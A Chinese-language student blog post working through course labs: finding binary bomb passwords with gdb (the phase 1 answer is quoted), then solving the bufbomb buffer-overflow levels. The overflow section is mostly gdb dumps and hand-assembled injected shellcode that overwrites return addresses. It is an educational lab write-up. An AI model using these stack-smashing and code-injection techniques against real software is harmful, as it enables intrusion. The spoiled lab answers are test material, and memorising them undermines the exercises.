Binary Bomb
上周Lab2的作业是模拟一个binary bomb,运行后提示输入密码,如果正确就会进入下一关,否则就会爆炸。目标就是通过gdb查看程序运行过程中的逻辑,找出正确的密码顺利通关。那次做作业没有做详细的笔记,就大致说一下思路吧!
做之前看看介绍,提到可以用 objdump -d ./bomb
来生成反编译后的汇编代码,然后整个程序中的各种function name基本都有了,方便后面设断点。具体的代码还是边调试边看比较直观。另外 strings -t x ./bomb
可以打出程序中所有定义的字符串等信息,最后一个隐藏关卡的密码就可以从里面找出来哈哈!
首先跑 gdb ./bomb
进入gdb,设置下断点:b phase_1
,然后开始跑程序,随便输入个字符串比如’aaaa’,接下来就是不停用 si
或者设断点的方式看代码了。比如在第一关,可以看到进入phase_1
后又调用了strings_not_equal
函数,然后看一下 disas
:
1 2 3 4 5 6 7 8
| Dump of assembler code for function strings_not_equal: 0x000000000040123d <+0>: mov %rbx,-0x18(%rsp) 0x0000000000401242 <+5>: mov %rbp,-0x10(%rsp) 0x0000000000401247 <+10>: mov %r12,-0x8(%rsp) 0x000000000040124c <+15>: sub $0x18,%rsp => 0x0000000000401250 <+19>: mov %rdi,%rbx 0x0000000000401253 <+22>: mov %rsi,%rbp 0x0000000000401256 <+25>: callq 0x401221 <string_length>
|
这个$rdi
寄存器(一般用来传变量给函数)里放了啥呢?
1 2
| (gdb) x /s $rdi 0x602f40 <input_strings>: "aaaa"
|
恩,原来就是我输入的内容。继续往下走。
1 2 3 4 5 6
| 0x0000000000401256 <+25>: callq 0x401221 <string_length> => 0x000000000040125b <+30>: mov %eax,%r12d 0x000000000040125e <+33>: mov %rbp,%rdi 0x0000000000401261 <+36>: callq 0x401221 <string_length> 0x0000000000401266 <+41>: mov $0x1,%edx 0x000000000040126b <+46>: cmp %eax,%r12d
|
跑完string_length后看下$eax
里的值是啥:
1 2
| (gdb) p /x $eax $6 = 0x4
|
然后又挪了$rbp
里的值去调用string_length
,所以这里意图应该是挺明显的,就是想先比较下用户输入和正确密码的长度看看是否相等,正确密码就在$rbp
里啦!
1 2
| (gdb) x /s $rbp 0x401af8 <__dso_handle+496>: "Science isn't about why, it's about why not?"
|
这样就完成一关啦!如果懒得重新输入可以直接在gdb里改了密码:
1 2 3 4 5 6 7 8 9 10 11 12
| (gdb) x /s $rdi 0x602f40 <input_strings>: "aaaa" (gdb) set $rbp=$rdi (gdb) x /s $rbp 0x602f40 <input_strings>: "aaaa" (gdb) c Continuing. Breakpoint 2, 0x000000000040123b in string_length () (gdb) c Continuing. Phase 1 defused. How about the next one?
|
其它关卡大同小异,有时候不知道具体要输入什么还可以看看程序在调用sscanf
时用的format string是啥。后面机关有循环,有switch表,有递归,有数组指针,链表排序之类的……有时候代码逻辑还是挺复杂的,不过只要找一下密码的话还是不难,仔细有耐心一点基本都能搞定。
Buffer Overflow
原理
Lab3的作业也是用汇编来搞,不过内容变成了做buffer overflow的攻击!大致看一下原理,如下是一个手绘stack……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 804854e: call 8048b90 <main> 8048553: pushl %eax |-------------| 0x110 | | |-------------| 0x10c | | |-------------| 0x108 | 123 | |-------------| |-------------| %esp | 0x108 | |-------------| |-------------| %eip | 0x804854e | |-------------|
|
调用函数前,先把返回地址pushl
到stack,也就是call
的下一行0x8048553
,把%esp
的值改成当前的栈顶(由于stack是在高位地址,这里栈顶反而是最小地址值也就是-0x4(%esp)
),然后跳转到被调用的函数的地址0x8048b90
去执行代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| |-------------| 0x110 | | |-------------| 0x10c | | |-------------| 0x108 | 123 | |-------------| 0x104 | 0x8048553 | |-------------| |-------------| %esp | 0x104 | |-------------| |-------------| %eip | 0x8048b90 | |-------------|
|
当跑到return时%eip
的值为0x8048591
,返回地址会从stack上pop
出来放到%eip
里,同时%esp
也会在pop
后变回0x108
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 8048591: ret |-------------| 0x110 | | |-------------| 0x10c | | |-------------| 0x108 | 123 | |-------------| 0x104 | 0x8048553 | |-------------| |-------------| %esp | 0x108 | |-------------| |-------------| %eip | 0x8048553 | |-------------|
|
Hmm…实际的stack要更复杂点,return address下面会跟一个%ebp
指向的地址,里面存的是函数调用方(也就是上一个stack frame)的%ebp
值,%ebp
与%esp
之间会有callee保存的寄存器内容,local variables,对它要调用的函数准备的arguments之类的信息……整个过程中%ebp
基本就是一个基准,可以看到很多代码里会有-0x18(%ebp)
之类的来定位stack上变量的地址,而%esp
会一直指向栈顶,比如在读取用户输入时会建立一个数组什么的假设是char[16]
,然后对应就会执行subl $16,%esp
来使栈顶向下移动16bytes,这段buffer就用来存放用户的输入。例如下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| void echo() { char buf[4]; gets(buf); puts(buf); } echo: pushl %ebp # Save %ebp on stack movl %esp, %ebp pushl %ebx # Save %ebx leal -8(%ebp), %ebx # Compute buf as %ebp-8 subl $20, %esp # Allocate stack space movl %ebx, (%esp) # Push buf addr on stack call gets # Call gets |-------------------| 0xffffc658 | Stack Frame | | for main | |-------------------| Return Addr | f7 | 85 | 04 | 08 | |-------------------| 0xffffc638 | 58 | c6 | ff | ff | |-------------------| | Saved %ebx | |-------------------| buf | xx | xx | xx | xx | |-------------------| | | | | | | | | |-------------------| buf addr | 0xffffc630 | |-------------------|
|
作为业界良心,还是把图画了一下……之所以叫buffer overflow攻击,也就是因为gets在执行时如果没有检查用户输入大小而任由写入内存,当把buf那四个bytes写满后就会写到saved %ebx
那里!如果继续往下写,就可以改变return addr,跳转到你任意想跳转到的函数地址!具体可以参考wiki上的词条或者直接去看这门课的视频,老师讲的很清晰很全面!这里就不展开另外讲寄存器值保存,地址对齐之类的细节了。本来懒得画图就搜了下别人的blog,发现这篇里面的图画的很好……也可以参考借鉴。
=================== !!!以下将进入解题剧透环节!!! ===================
smoke
第一个挑战,预热一下,目的就是改那个return addr。由于我们要注入地址,代码之类的二进制数据,作业里还很贴心地提供了个ascii转binary的小工具:
1
| ./sendstring < exploit.txt > exploit.bytes
|
只要把需要需要注入的hex码写到那个文本文件里就可以生成啦。值得注意的是在Intel CPU上是little-endian的字节序,很多地方需要反过来写。我们先随便搞个输入,比如写32个a进去,生成二进制码,然后跑gdb看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| gdb ./bufbomb (gdb) break getbuf (gdb) r -u 4999723 < exploit.bytes (gdb) si 4 (gdb) disas Dump of assembler code for function getbuf: 0x0000000000400da0 <+0>: push %rbp 0x0000000000400da1 <+1>: mov %rsp,%rbp 0x0000000000400da4 <+4>: sub $0x30,%rsp 0x0000000000400da8 <+8>: lea -0x30(%rbp),%rdi => 0x0000000000400dac <+12>: callq 0x400cb0 <Gets> 0x0000000000400db1 <+17>: movabs $0xcccccccccccccccd,%rdx 0x0000000000400dbb <+27>: mov %rax,%rcx 0x0000000000400dbe <+30>: mul %rdx 0x0000000000400dc1 <+33>: shr $0x5,%rdx 0x0000000000400dc5 <+37>: lea (%rdx,%rdx,4),%rax 0x0000000000400dc9 <+41>: mov %rcx,%rdx 0x0000000000400dcc <+44>: shl $0x3,%rax 0x0000000000400dd0 <+48>: sub %rax,%rdx 0x0000000000400dd3 <+51>: mov $0x24,%eax 0x0000000000400dd8 <+56>: cmp $0x24,%rdx 0x0000000000400ddc <+60>: cmovae %rdx,%rax 0x0000000000400de0 <+64>: xor %ecx,%ecx 0x0000000000400de2 <+66>: add $0x1e,%rax 0x0000000000400de6 <+70>: and $0xfffffffffffffff0,%rax 0x0000000000400dea <+74>: sub %rax,%rsp 0x0000000000400ded <+77>: lea 0xf(%rsp),%r8 0x0000000000400df2 <+82>: and $0xfffffffffffffff0,%r8 0x0000000000400df6 <+86>: nopw %cs:0x0(%rax,%rax,1) 0x0000000000400e00 <+96>: movzbl -0x30(%rbp,%rcx,1),%edi 0x0000000000400e05 <+101>: lea (%r8,%rcx,1),%rsi 0x0000000000400e09 <+105>: add $0x1,%rcx 0x0000000000400e0d <+109>: cmp $0x24,%rcx 0x0000000000400e11 <+113>: mov %dil,(%rsi) 0x0000000000400e14 <+116>: jne 0x400e00 <getbuf+96> 0x0000000000400e16 <+118>: mov %rdx,%rax 0x0000000000400e19 <+121>: leaveq 0x0000000000400e1a <+122>: retq End of assembler dump.
|
我们直接就看Gets
获取用户输入返回后的情况吧!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| (gdb) b *getbuf+17 Breakpoint 2 at 0x400db1: file bufbomb.c, line 137. (gdb) c Continuing. Breakpoint 2, getbuf () at bufbomb.c:137 137 variable_length = alloca((val % 40) < 36 ? 36 : val % 40) (gdb) i r rax 0x7fffffffb8c0 140737488337088 rbx 0x497746be 1232553662 rcx 0x2e 46 rdx 0x379e9b2af0 238884170480 rsi 0xa 10 rdi 0x379e9b1340 238884164416 rbp 0x7fffffffb8f0 0x7fffffffb8f0 rsp 0x7fffffffb8c0 0x7fffffffb8c0 r8 0x7ffff7fdc740 140737353992000 r9 0x0 0 r10 0x22 34 r11 0x246 582 r12 0x607f80 6324096 r13 0x7fffffffe6f0 140737488348912 r14 0x0 0 r15 0x0 0 rip 0x400db1 0x400db1 <getbuf+17> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
|
可以看到目前的%rsp
, %rbp
的值,查看下我们的输入是不是被放进去了:
1 2 3 4 5 6
| (gdb) x /20x $rsp 0x7fffffffb8c0: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0x7fffffffb8d0: 0x00607f00 0x00000000 0x9e2148e5 0x00000037 0x7fffffffb8e0: 0x00002c80 0x00000000 0x9e6ba477 0x00000037 0x7fffffffb8f0: 0xffffb920 0x00007fff 0x00400ef3 0x00000000 0x7fffffffb900: 0xffffb930 0x00007fff 0xdeadbeef 0x00000000
|
32个a有木有!再看%rbp
在0x7fffffffb8f0
,那后面%rbp+8
那个位置就是return addr了吧!我们看看反编译的代码:
1 2 3 4
| objdump -d ./bufbomb > bufbomb.s 400eee: e8 ad fe ff ff callq 400da0 <getbuf> 400ef3: 48 83 f8 28 cmp $0x28,%rax
|
果然如此啊!这道题的要求是跳转到smoke
这个函数,同理在bufbomb.s里找一下:
1 2 3 4 5 6 7 8 9 10 11 12
| 00000000004010c0 <smoke>: 4010c0: 48 83 ec 08 sub $0x8,%rsp 4010c4: bf 45 13 40 00 mov $0x401345,%edi 4010c9: c7 05 dd 11 20 00 00 movl $0x0,0x2011dd(%rip) # 6022b0 <check_level> 4010d0: 00 00 00 4010d3: e8 08 f7 ff ff callq 4007e0 <puts@plt> 4010d8: 31 ff xor %edi,%edi 4010da: e8 51 fd ff ff callq 400e30 <validate> 4010df: 31 ff xor %edi,%edi 4010e1: e8 da f7 ff ff callq 4008c0 <exit@plt> 4010e6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 4010ed: 00 00 00
|
所以只要改成0x004010c0
就可以啦!前面56个字节任意,然后小心地填入 c0 10 40 00
作为最后四个字节,这关就过啦!
fizz
这一关跟上一关大同小异,换了一个函数fizz
,多了个条件要传参数(用户id生成的cookie)进去!课上老师说过,x86-64前6个参数都是直接从寄存器传,之后才动用到stack上的地址,恩然后这个需要修改的参数正好是第七个。我们可以沿用上面的注入代码,只要改一下地址变成fizz
的地址0x00401070
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| (gdb) b fizz (gdb) r -u 4999723 < exploit.bytes Starting program: /home/auser/course-materials/lab3/bufbomb -u 4999723 < exploit.bytes Username: 4999723 ce e2 32 31 3 a5 41 1f Cookie: 0x1f41a5033132e2ce Breakpoint 2, fizz (arg1=171, arg2=-93 '\243', arg3=8, arg4=0x24 <Address 0x24 out of bounds>, arg5=-18304, arg6=0, val=3735928559) at bufbomb.c:73 (gdb) disas Dump of assembler code for function fizz: => 0x0000000000401070 <+0>: sub $0x8,%rsp 0x0000000000401074 <+4>: movl $0x1,0x201232(%rip) # 0x6022b0 <check_level> 0x000000000040107e <+14>: mov 0x10(%rsp),%rsi 0x0000000000401083 <+19>: cmp 0x201296(%rip),%rsi # 0x602320 <cookie> 0x000000000040108a <+26>: je 0x40109f <fizz+47> 0x000000000040108c <+28>: mov $0x4015b0,%edi 0x0000000000401091 <+33>: xor %eax,%eax 0x0000000000401093 <+35>: callq 0x4007f0 <printf@plt> 0x0000000000401098 <+40>: xor %edi,%edi 0x000000000040109a <+42>: callq 0x4008c0 <exit@plt> 0x000000000040109f <+47>: mov $0x401590,%edi 0x00000000004010a4 <+52>: xor %eax,%eax 0x00000000004010a6 <+54>: callq 0x4007f0 <printf@plt> 0x00000000004010ab <+59>: mov $0x1,%edi 0x00000000004010b0 <+64>: callq 0x400e30 <validate> 0x00000000004010b5 <+69>: jmp 0x401098 <fizz+40> End of assembler dump. (gdb) i r rax 0x8 8 rbx 0x497746be 1232553662 rcx 0x24 36 rdx 0x8 8 rsi 0x7fffffffb8a3 140737488337059 rdi 0xab 171 rbp 0xabababababababab 0xabababababababab rsp 0x7fffffffb900 0x7fffffffb900 r8 0x7fffffffb880 140737488337024 r9 0x0 0 r10 0x22 34 r11 0x246 582 r12 0x607f80 6324096 r13 0x7fffffffe6f0 140737488348912 r14 0x0 0 r15 0x0 0 rip 0x401070 0x401070 <fizz> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
|
这里的关键点,先做%rsp-8
,然后mov 0x10(%rsp),%rsi
这里把%rsp+0x10
的内容放到%rsi
里,后面就是用这个值去跟cookie比较了!我们来看下正确的cookie是啥:
1 2
| (gdb) x /2x 0x602320 0x602320 <cookie>: 0x3132e2ce 0x1f41a503
|
而我们传进去的cookie参数呢:
1 2
| (gdb) p /x $rsi $3 = 0xdeadbeef
|
死去的牛肉……是不是有点眼熟?其实算一下也就知道它应该是%rsp-0x08+0x10 = 0x7fffffffb908
,在上一题中我们已经看到那个位置存的就是deadbeef啦!然后就是修改注入信息,把它一直覆盖到正确的cookie值也被写入stack空间即可!
1 2 3 4 5 6 7
| (gdb) p /x $rsi $1 = 0x1f41a5033132e2ce (gdb) x /2x 0x602320 0x602320 <cookie>: 0x3132e2ce 0x1f41a503 (gdb) c Continuing. Type string: Fizz!: You called fizz(0x1f41a5033132e2ce)
|
帅气!
bang
这关开始就不是简单的修改内容,而是要注入机器指令了!流程就是先进入getbuf
-> 修改return addr到stack上的地址 -> 跑stack上你注入的machine code -> 修改global_value
后return到bang
函数里去做验证。先看下我们之前的注入:
1 2 3 4 5 6
| (gdb) x /20x $rsp 0x7fffffffb8c0: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0x7fffffffb8d0: 0x00607f00 0x00000000 0x9e2148e5 0x00000037 0x7fffffffb8e0: 0x00002c80 0x00000000 0x9e6ba477 0x00000037 0x7fffffffb8f0: 0xffffb920 0x00007fff 0x00400ef3 0x00000000 0x7fffffffb900: 0xffffb930 0x00007fff 0xdeadbeef 0x00000000
|
这里返回地址是0x400ef3
,而我们需要它去执行stack上的代码,可以修改返回地址到0x7fffffffb900
,然后从那里开始我们就要填入修改global_value
的机器代码了!就这么来吧!先写汇编并生成机器码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| movq 0x602320,%rax movq %rax,0x602308 pushq $0x401020 retq gcc -c as.s objdump -d as.o > as.d as.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 8b 04 25 20 23 60 mov 0x602320,%rax 7: 00 8: 48 89 04 25 08 23 60 mov %rax,0x602308 f: 00 10: 68 20 10 40 00 pushq $0x401020 15: c3 retq
|
然后把这段代码通过相同方法小心地放到目的地址……记得修改原来栈上的return addr。大功告成!
1 2 3
| (gdb) c Continuing. Type string: Bang!: You set global_value to 0x1f41a5033132e2ce
|
dynamite
这关是附加题,在上一题的基础上加了个要求,就是在完成注入,修改完cookie后还要复原现场,返回原先调用getbuf
的函数去。这关真是各种曲折,先修改前面那个pushq
好让跑完我的注入代码后回到test
函数(也就是getbuf的调用者)去,然后发现程序会去检查那个deadbeef还在不在,cookie是不是正确设置成了用户的cookie等。最直观的做法就是跳过原先存放%rbp
还有那个deadbeef的位置再注入代码,在代码里修改getbuf
返回值,然后再跳回test
函数,的确可以通过。修改过的汇编如下:
1 2 3 4 5
| 0000000000000000 <.text>: 0: 48 b8 ce e2 32 31 03 movabs $0x1f41a5033132e2ce,%rax 7: a5 41 1f a: 68 f3 0e 40 00 pushq $0x400ef3 f: c3 retq
|
注入之后的内存情况:
1 2 3 4 5 6 7 8 9
| (gdb) x /32x $rsp 0x7fffffffb8c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffb8d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffb8e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffb8f0: 0xffffb920 0x00007fff 0xffffb930 0x00007fff 0x7fffffffb900: 0xffffb930 0x00007fff 0xdeadbeef 0x00000000 0x7fffffffb910: 0x199b0120 0x00000037 0x497746be 0x00000000 0x7fffffffb920: 0xffffe5e0 0x00007fff 0x00400fdd 0x00000000 0x7fffffffb930: 0xe2ceb848 0xa5033132 0xf3681f41 0xc300400e
|
注意上面我从0x7fffffffb930
才开始放代码,0x7fffffffb8f8
处的return addr也做了相应的修改。虽然本地通过了测试,但是提交后总是0分……于是我又去看bufbomb的源码:
1 2 3 4 5 6 7
| while ((c = getopt(argc, argv, "gt:u:")) != -1) switch(c) { case 'g': grade = 1; quiet = 1; alarm_time = 1; break;
|
难道是提交后打分用了-g参数?再试了下果然会有segmentation fault出现。难道是我注入的代码破坏了之前push进去的某些内容?然后我又试着在原来0x7fffffffb900
的位置注入代码,在代码里把deadbeef搞回去:
1 2 3 4 5 6 7 8
| 0000000000000000 <.text>: 0: 48 b8 ce e2 32 31 03 movabs $0x1f41a5033132e2ce,%rax 7: a5 41 1f a: 68 f3 0e 40 00 pushq $0x400ef3 f: 49 ba ef be ad de 00 movabs $0xdeadbeef,%r10 16: 00 00 00 19: 4c 89 55 e8 mov %r10,-0x18(%rbp) 1d: c3 retq
|
跑了一下gdb,这下无论加还是不加-g都能通过了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| (gdb) r -u 4999723 -g < dynamite.bytes Starting program: /home/auser/course-materials/lab3/bufbomb -u 4999723 -g < dynamite.bytes Username: 4999723 ce e2 32 31 3 a5 41 1f Cookie: 0x1f41a5033132e2ce Boom!: getbuf returned 0x1f41a5033132e2ce Level 3 VALID [Inferior 1 (process 12692) exited normally]
|
但是提交后还是不行!不用gdb试着跑了下……果然还是有segmentation fault!怒了,设core file size为unlimited,再跑!没有core?一看源码:
1 2 3 4 5 6 7
| void seghandler(int sig) { printf("Ouch!: You caused a segmentation fault!\n"); printf("Better luck next time\n"); exit(0); }
|
我去,竟然拦截了信号量不生成core file。修改代码再编译……发现原来这个代码不完整,没有头文件之类的……还好我们还有神器!祭出valgrind
!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| bash-4.2$ valgrind ./bufbomb -g -u 4999723 < exploit.bytes ==14149== Memcheck, a memory error detector ==14149== Copyright (C) 2002-2012, and GNU GPL'd, by Julian Seward et al. ==14149== Using Valgrind-3.8.1 and LibVEX; rerun with -h for copyright info ==14149== Command: ./bufbomb -g -u 4999723 ==14149== Username: 4999723 ce e2 32 31 3 a5 41 1f Cookie: 0x1f41a5033132e2ce ==14149== Jump to the invalid address stated on the next line ==14149== at 0x7FFFFFFFB900: ??? ==14149== by 0xA5033132E2CEB847: ??? ==14149== by 0x4900400EF3681F40: ??? ==14149== by 0xDEADBEEFB9: ??? ==14149== by 0xC3E855894BFF: ??? ==14149== by 0x7FF00059F: ??? ==14149== by 0x400FDC: launch.isra.1 (bufbomb.c:343) ==14149== by 0xF4F4F4F4F4F4F4F3: ??? ==14149== by 0xF4F4F4F4F4F4F4F3: ??? ==14149== by 0xF4F4F4F4F4F4F4F3: ??? ==14149== by 0xF4F4F4F4F4F4F4F3: ??? ==14149== by 0xF4F4F4F4F4F4F4F3: ??? ==14149== Address 0x7fffffffb900 is not stack'd, malloc'd or (recently) free'd ==14149== Ouch!: You caused a segmentation fault! Better luck next time ==14149== ==14149== HEAP SUMMARY: ==14149== in use at exit: 16,392 bytes in 2 blocks ==14149== total heap usage: 2 allocs, 0 frees, 16,392 bytes allocated ==14149== ==14149== LEAK SUMMARY: ==14149== definitely lost: 0 bytes in 0 blocks ==14149== indirectly lost: 0 bytes in 0 blocks ==14149== possibly lost: 16,384 bytes in 1 blocks ==14149== still reachable: 8 bytes in 1 blocks ==14149== suppressed: 0 bytes in 0 blocks ==14149== Rerun with --leak-check=full to see details of leaked memory ==14149== ==14149== For counts of detected and suppressed errors, rerun with: -v ==14149== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 2 from 2)
|
看上去是直接跑stack空间的代码导致了问题……目前就卡在这里没有进展了……求大神指点迷津啊!
(2014-08-05 Update) 今天早上来不甘心又试了下,比较了正常返回到test
函数与从我注入的代码跳转回来时各寄存器的值,发现%r10
原来是有值的,我就改成用%r15
来放deadbeef了。改了注入后情况还是一样,gdb里通过直接命令行跑报错。记得老师上课说我们这种注入方法目前是没法用的,因为stack区域的代码理论上是不可执行的,所以我觉得报错也正常吧……又提交了一次结果这次竟然就满分了。有点诡异!另外之前我试着直接在汇编代码里写movq $0xdeadbeef,-0x18(%rbp)
发现会报operand size mismatch错误。感觉是因为赋值太长,超出了指令最长8个字节的限制,所以还是用了个寄存器来中转下。不知道别的同学是用啥方法来复原这个deadbeef的。
完结
足足花了两天时间搞这个,最后那个问题去论坛问了,有好多人碰到,暂时还没解答……发现问同样问题的人里有个中国人,一看他选的课跟我有很多重合的!再看了看他的LinkedIn,竟然是91年就上本科的大叔……目前是AT&T的技术经理!一把年纪了还在Coursera上刷课,这种学习精神真是令人钦佩啊!我也要活到老学到老!